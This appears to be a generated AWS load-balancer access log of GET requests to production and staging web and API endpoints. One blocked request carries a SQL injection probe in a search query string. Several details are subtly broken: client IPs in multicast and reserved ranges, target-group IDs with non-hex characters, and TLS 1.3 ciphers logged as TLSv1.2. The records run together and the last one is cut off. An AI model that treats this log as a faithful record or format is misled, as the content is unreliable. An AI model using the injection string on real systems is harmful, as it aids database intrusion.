arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c52c-5ec8238c348a4d6687ee0169" "-" "-" 4 2024-11-01T00:58:04.042714Z "forward" "-" "-" "10.0.113.138:443" "404" "-" "-" -https 2024-11-01T00:58:05.428113Z staging-alb 39.153.83.173:19301 213.154.70.63:8080 0.015594 0.704238 0.103437 200 200 826 12482 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c52d-dd4a3dbdf6024980838b8521" "staging-alb.example.com" "-" 7 2024-11-01T00:58:05.428113Z "forward" "-" "-" "213.154.70.63:8080" "200" "-" "-" -https 2024-11-01T00:58:05.803105Z staging-alb 24.15.179.205:49745 116.195.161.245:8080 0.091301 0.408492 0.018397 200 200 307 8263 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c52d-cf57f35c5ae9419dba412c9f" "staging-alb.example.com" "-" 4 2024-11-01T00:58:05.803105Z "forward" "-" "-" "116.195.161.245:8080" "200" "-" "-" -https 2024-11-01T00:58:06.796651Z staging-alb 11.163.229.119:15363 138.157.95.87:80 0.079486 0.556254 0.013645 200 200 786 7675 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c52e-bbb0297ea03444ffa4134986" "staging-alb.example.com" "-" 8 2024-11-01T00:58:06.796651Z "forward" "-" "-" "138.157.95.87:80" "200" "-" "-" -https 2024-11-01T00:58:08.743945Z prod-web-alb 177.204.47.149:64618 10.0.114.240:443 0.003475 0.333915 0.075925 404 404 281 14554 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c530-425e2d800b1a476cbab72ec9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:58:08.743945Z "forward" "-" "-" "10.0.114.240:443" "404" "-" "-" -https 2024-11-01T00:58:10.382824Z prod-web-alb 239.205.81.60:19012 10.0.123.177:443 0.096976 0.378618 0.056439 301 301 108 9788 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c532-709b5531632542bdb037faf9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:58:10.382824Z "forward" "-" "-" "10.0.123.177:443" "301" "-" "-" -https 2024-11-01T00:58:11.851055Z prod-api-alb 49.132.63.76:58745 10.0.197.42:443 0.047159 0.143566 0.068960 302 302 497 12567 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c533-823681ba486a4ff18dca9b96" "prod-api-alb.example.com" "-" 0 2024-11-01T00:58:11.851055Z "forward" "-" "-" "10.0.197.42:443" "302" "-" "-" -https 2024-11-01T00:58:13.660700Z staging-alb 139.158.130.125:15993 58.66.46.234:443 0.087354 0.034371 0.142166 301 301 50 10557 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c535-a4d7d99ba38f4ea783011002" "staging-alb.example.com" "-" 5 2024-11-01T00:58:13.660700Z "forward" "-" "-" "58.66.46.234:443" "301" "-" "-" -https 2024-11-01T00:58:14.386585Z prod-web-alb 236.249.234.21:62669 10.0.63.101:443 0.095984 0.370648 0.016094 301 301 102 2590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c536-3b933a6aa2e54cd784fc53bd" "prod-web-alb.example.com" "-" 3 2024-11-01T00:58:14.386585Z "forward" "-" "-" "10.0.63.101:443" "301" "-" "-" -https 2024-11-01T00:58:15.024034Z prod-web-alb 156.25.47.6:48604 10.0.90.45:443 0.085147 0.182277 0.094212 404 404 981 2372 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c537-dcfa8fc12b32493181d7be1d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:58:15.024034Z "forward" "-" "-" "10.0.90.45:443" "404" "-" "-" -http 2024-11-01T00:58:15.933825Z staging-alb 90.129.117.243:32181 235.122.132.36:8080 0.039963 0.052145 0.042202 404 404 153 6567 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c537-0d3878d3ed614e579fea4ea9" "staging-alb.example.com" "-" 4 2024-11-01T00:58:15.933825Z "forward" "-" "-" "235.122.132.36:8080" "404" "-" "-" -https 2024-11-01T00:58:16.477467Z staging-alb 200.199.115.20:35039 111.156.182.64:8080 0.039235 0.337036 0.022272 200 200 72 3364 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c538-14d08ccc4d134fc4b4e1629d" "staging-alb.example.com" "-" 2 2024-11-01T00:58:16.477467Z "forward" "-" "-" "111.156.182.64:8080" "200" "-" "-" -https 2024-11-01T00:58:18.055823Z prod-api-alb 57.149.24.227:53257 10.0.174.60:443 0.025728 0.389797 0.081671 200 200 947 5515 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c53a-9562df612591407cb89c90bd" "prod-api-alb.example.com" "-" 5 2024-11-01T00:58:18.055823Z "forward" "-" "-" "10.0.174.60:443" "200" "-" "-" -https 2024-11-01T00:58:18.175367Z prod-api-alb 223.18.222.16:12989 10.0.41.26:443 0.003356 0.212967 0.019542 301 301 572 13054 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c53a-e06bf4904d5a41ed94ff8f49" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:18.175367Z "forward" "-" "-" "10.0.41.26:443" "301" "-" "-" -https 2024-11-01T00:58:19.904690Z prod-api-alb 3.237.91.205:53933 10.0.1.29:443 0.052273 0.146752 0.087555 302 302 633 11715 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c53b-1b2bd6b34a4a4b609d6c7a9a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:58:19.904690Z "forward" "-" "-" "10.0.1.29:443" "302" "-" "-" -http 2024-11-01T00:58:21.816509Z staging-alb 132.147.207.163:23207 205.16.202.141:443 0.138959 0.282345 0.121472 200 200 901 2835 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c53d-b0b9e623af114bdd87c922a8" "staging-alb.example.com" "-" 10 2024-11-01T00:58:21.816509Z "forward" "-" "-" "205.16.202.141:443" "200" "-" "-" -https 2024-11-01T00:58:23.546597Z prod-api-alb 217.216.221.104:32756 10.0.146.160:443 0.059646 0.051022 0.018759 301 301 708 12086 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c53f-26adf697356245bcbcdf7c3e" "prod-api-alb.example.com" "-" 9 2024-11-01T00:58:23.546597Z "forward" "-" "-" "10.0.146.160:443" "301" "-" "-" -https 2024-11-01T00:58:24.016005Z prod-api-alb 77.68.230.29:40955 10.0.248.15:443 0.051901 0.357241 0.046264 200 200 984 8003 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c540-0a674c02aab543e795c0f7e9" "prod-api-alb.example.com" "-" 3 2024-11-01T00:58:24.016005Z "forward" "-" "-" "10.0.248.15:443" "200" "-" "-" -https 2024-11-01T00:58:25.137075Z prod-web-alb 41.100.123.79:56056 10.0.33.49:443 0.039616 0.393349 0.074098 200 200 621 11061 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c541-654b5f2c0f67419a9c253341" "prod-web-alb.example.com" "-" 8 2024-11-01T00:58:25.137075Z "forward" "-" "-" "10.0.33.49:443" "200" "-" "-" -http 2024-11-01T00:58:26.862527Z staging-alb 110.195.163.73:53660 174.207.8.189:80 0.112110 0.600022 0.090274 200 200 211 10658 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c542-30e15aa720f9409d82b820a9" "staging-alb.example.com" "-" 3 2024-11-01T00:58:26.862527Z "forward" "-" "-" "174.207.8.189:80" "200" "-" "-" -http 2024-11-01T00:58:27.166020Z staging-alb 8.21.152.130:60562 213.192.45.80:443 0.117184 0.185647 0.082017 200 200 232 9652 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c543-b020aa56fe504f97b118bee9" "staging-alb.example.com" "-" 6 2024-11-01T00:58:27.166020Z "forward" "-" "-" "213.192.45.80:443" "200" "-" "-" -https 2024-11-01T00:58:28.356323Z prod-api-alb 225.65.60.181:16797 10.0.194.141:443 0.017087 0.393332 0.068177 200 200 44 9540 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c544-35eb6f99dee34561a3de8a74" "prod-api-alb.example.com" "-" 3 2024-11-01T00:58:28.356323Z "forward" "-" "-" "10.0.194.141:443" "200" "-" "-" -https 2024-11-01T00:58:29.252527Z staging-alb 32.88.97.250:58001 216.152.225.238:80 0.049426 0.166260 0.031047 200 200 992 5935 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c545-0ab8a5af2cba4ee6b250dd66" "staging-alb.example.com" "-" 3 2024-11-01T00:58:29.252527Z "forward" "-" "-" "216.152.225.238:80" "200" "-" "-" -https 2024-11-01T00:58:30.273333Z prod-web-alb 101.109.53.32:11152 10.0.25.81:443 0.021221 0.099921 0.050618 404 404 852 3249 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c546-edf22ad071944e308afe9269" "prod-web-alb.example.com" "-" 2 2024-11-01T00:58:30.273333Z "forward" "-" "-" "10.0.25.81:443" "404" "-" "-" -https 2024-11-01T00:58:32.208138Z staging-alb 151.104.73.104:45757 224.126.17.79:8080 0.065215 0.137322 0.060931 301 301 157 3717 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c548-b10f7730d20942e1b9c395a1" "staging-alb.example.com" "-" 0 2024-11-01T00:58:32.208138Z "forward" "-" "-" "224.126.17.79:8080" "301" "-" "-" -https 2024-11-01T00:58:32.308978Z prod-api-alb 185.181.147.41:62252 10.0.30.147:443 0.028714 0.177960 0.093060 403 403 495 1812 "GET /search?q=1' UNION SELECT HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c548-ebdfe7f575f244f0bcde6c56" "-" "-" 7 2024-11-01T00:58:32.308978Z "forward" "-" "-" "10.0.30.147:443" "403" "-" "-" -https 2024-11-01T00:58:33.966808Z prod-api-alb 223.14.17.41:30273 10.0.165.248:443 0.020801 0.217348 0.022687 200 200 64 10863 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c549-c76824f3cc484768af98244d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:33.966808Z "forward" "-" "-" "10.0.165.248:443" "200" "-" "-" -https 2024-11-01T00:58:35.491581Z prod-web-alb 43.60.178.163:46627 10.0.200.9:443 0.093879 0.254607 0.010277 404 404 708 6390 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c54b-bc55b360026643b7ab08493c" "prod-web-alb.example.com" "-" 6 2024-11-01T00:58:35.491581Z "forward" "-" "-" "10.0.200.9:443" "404" "-" "-" -https 2024-11-01T00:58:37.022877Z prod-web-alb 177.109.128.4:59872 10.0.199.23:443 0.074279 0.066209 0.082098 301 301 122 10078 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c54d-af535918089a46d0b486f99f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:58:37.022877Z "forward" "-" "-" "10.0.199.23:443" "301" "-" "-" -http 2024-11-01T00:58:37.386537Z staging-alb 201.226.39.245:53350 84.215.218.229:80 0.068212 0.664854 0.076585 200 200 609 6917 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c54d-a03dc812a9b44c829f925d40" "staging-alb.example.com" "-" 1 2024-11-01T00:58:37.386537Z "forward" "-" "-" "84.215.218.229:80" "200" "-" "-" -https 2024-11-01T00:58:38.214952Z prod-api-alb 20.84.92.202:36931 10.0.213.121:443 0.086594 0.465897 0.058519 200 200 661 2500 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c54e-db58a182c81c43118727ab10" "prod-api-alb.example.com" "-" 1 2024-11-01T00:58:38.214952Z "forward" "-" "-" "10.0.213.121:443" "200" "-" "-" -http 2024-11-01T00:58:39.291595Z staging-alb 247.227.222.188:42892 225.250.9.212:8080 0.000126 0.511737 0.042281 200 200 341 5130 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c54f-954027403a074e51a8c46c3c" "staging-alb.example.com" "-" 1 2024-11-01T00:58:39.291595Z "forward" "-" "-" "225.250.9.212:8080" "200" "-" "-" -https 2024-11-01T00:58:41.148252Z prod-api-alb 161.82.244.14:34950 10.0.224.126:443 0.012474 0.437645 0.088174 404 404 389 5328 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c551-e97f286da4804e37a78f3a72" "prod-api-alb.example.com" "-" 7 2024-11-01T00:58:41.148252Z "forward" "-" "-" "10.0.224.126:443" "404" "-" "-" -https 2024-11-01T00:58:42.573011Z prod-api-alb 148.77.190.218:16642 10.0.191.88:443 0.098198 0.193887 0.028839 200 200 963 9857 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c552-7c5b73d2a8094e97b9c1cc36" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:42.573011Z "forward" "-" "-" "10.0.191.88:443" "200" "-" "-" -https 2024-11-01T00:58:44.179294Z prod-web-alb 139.158.223.137:60113 10.0.177.154:443 0.062579 0.179042 0.084466 200 200 700 10839 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c554-1cdf23914982404a8df863df" "prod-web-alb.example.com" "-" 6 2024-11-01T00:58:44.179294Z "forward" "-" "-" "10.0.177.154:443" "200" "-" "-" -https 2024-11-01T00:58:44.858258Z prod-api-alb 201.230.70.172:61259 10.0.130.182:443 0.075232 0.347966 0.058816 200 200 943 13082 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c554-13b32f61ab4a48f3ba7c7c02" "prod-api-alb.example.com" "-" 4 2024-11-01T00:58:44.858258Z "forward" "-" "-" "10.0.130.182:443" "200" "-" "-" -https 2024-11-01T00:58:45.475092Z prod-api-alb 22.31.7.227:49801 10.0.123.167:443 0.010024 0.170344 0.038936 200 200 433 8045 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c555-51507da9085e466290a559ce" "prod-api-alb.example.com" "-" 8 2024-11-01T00:58:45.475092Z "forward" "-" "-" "10.0.123.167:443" "200" "-" "-" -https 2024-11-01T00:58:46.139347Z staging-alb 161.224.89.46:54396 12.62.243.168:443 0.078846 0.274605 0.120342 200 200 49 13545 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c556-dcf3a98fbf5d4417b1a58c16" "staging-alb.example.com" "-" 9 2024-11-01T00:58:46.139347Z "forward" "-" "-" "12.62.243.168:443" "200" "-" "-" -https 2024-11-01T00:58:47.725172Z staging-alb 173.18.43.54:40450 161.48.196.99:8080 0.149562 0.567091 0.147613 200 200 466 13565 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c557-850d6edd73834d7a921adaeb" "staging-alb.example.com" "-" 0 2024-11-01T00:58:47.725172Z "forward" "-" "-" "161.48.196.99:8080" "200" "-" "-" -https 2024-11-01T00:58:48.776312Z prod-api-alb 247.152.91.28:35623 10.0.234.174:443 0.007430 0.138139 0.043436 404 404 792 9654 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c558-8c779a6df02e467e9dfad5af" "prod-api-alb.example.com" "-" 6 2024-11-01T00:58:48.776312Z "forward" "-" "-" "10.0.234.174:443" "404" "-" "-" -https 2024-11-01T00:58:49.042348Z prod-web-alb 226.123.241.126:21797 10.0.126.218:443 0.084070 0.169906 0.028673 200 200 265 13122 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c559-2f3727a873474fa1a97832ae" "prod-web-alb.example.com" "-" 1 2024-11-01T00:58:49.042348Z "forward" "-" "-" "10.0.126.218:443" "200" "-" "-" -https 2024-11-01T00:58:50.652623Z prod-api-alb 131.128.160.26:15422 10.0.213.128:443 0.083246 0.294327 0.070239 200 200 658 7493 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c55a-6eb1fffe645746c1a54a1cbd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:58:50.652623Z "forward" "-" "-" "10.0.213.128:443" "200" "-" "-" -http 2024-11-01T00:58:52.466101Z staging-alb 25.65.247.228:16163 35.122.129.113:8080 0.051087 0.517717 0.134811 200 200 731 2431 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c55c-015c9d13cfa14ae6b5f6aadb" "staging-alb.example.com" "-" 10 2024-11-01T00:58:52.466101Z "forward" "-" "-" "35.122.129.113:8080" "200" "-" "-" -https 2024-11-01T00:58:53.512391Z prod-api-alb 91.174.126.240:47600 10.0.43.139:443 0.061179 0.172293 0.066804 200 200 228 3574 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c55d-a8242f322d374900889b6f09" "prod-api-alb.example.com" "-" 2 2024-11-01T00:58:53.512391Z "forward" "-" "-" "10.0.43.139:443" "200" "-" "-" -https 2024-11-01T00:58:53.866627Z prod-web-alb 9.235.119.88:38686 10.0.28.248:443 0.097643 0.405702 0.046970 200 200 640 6435 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c55d-1126d68855c14aea8c16c327" "prod-web-alb.example.com" "-" 9 2024-11-01T00:58:53.866627Z "forward" "-" "-" "10.0.28.248:443" "200" "-" "-" -https 2024-11-01T00:58:53.971251Z prod-web-alb 9.107.63.199:41031 10.0.177.146:443 0.099622 0.039107 0.056696 200 200 912 2280 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c55d-9c9734ab360b4b5d92db7526" "prod-web-alb.example.com" "-" 6 2024-11-01T00:58:53.971251Z "forward" "-" "-" "10.0.177.146:443" "200" "-" "-" -https 2024-11-01T00:58:55.601333Z prod-web-alb 72.73.228.185:55703 10.0.175.90:443 0.091351 0.335054 0.049556 200 200 465 1878 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c55f-cfc136a379474a42bc47de64" "prod-web-alb.example.com" "-" 0 2024-11-01T00:58:55.601333Z "forward" "-" "-" "10.0.175.90:443" "200" "-" "-" -https 2024-11-01T00:58:55.828838Z prod-api-alb 86.242.76.1:60628 10.0.152.141:443 0.033148 0.219086 0.038798 404 404 236 14004 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c55f-6e8c07604be94c8d9fb65471" "prod-api-alb.example.com" "-" 8 2024-11-01T00:58:55.828838Z "forward" "-" "-" "10.0.152.141:443" "404" "-" "-" -https 2024-11-01T00:58:56.687232Z prod-api-alb 146.129.144.173:63848 10.0.171.155:443 0.038983 0.289443 0.066513 200 200 913 1170 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" 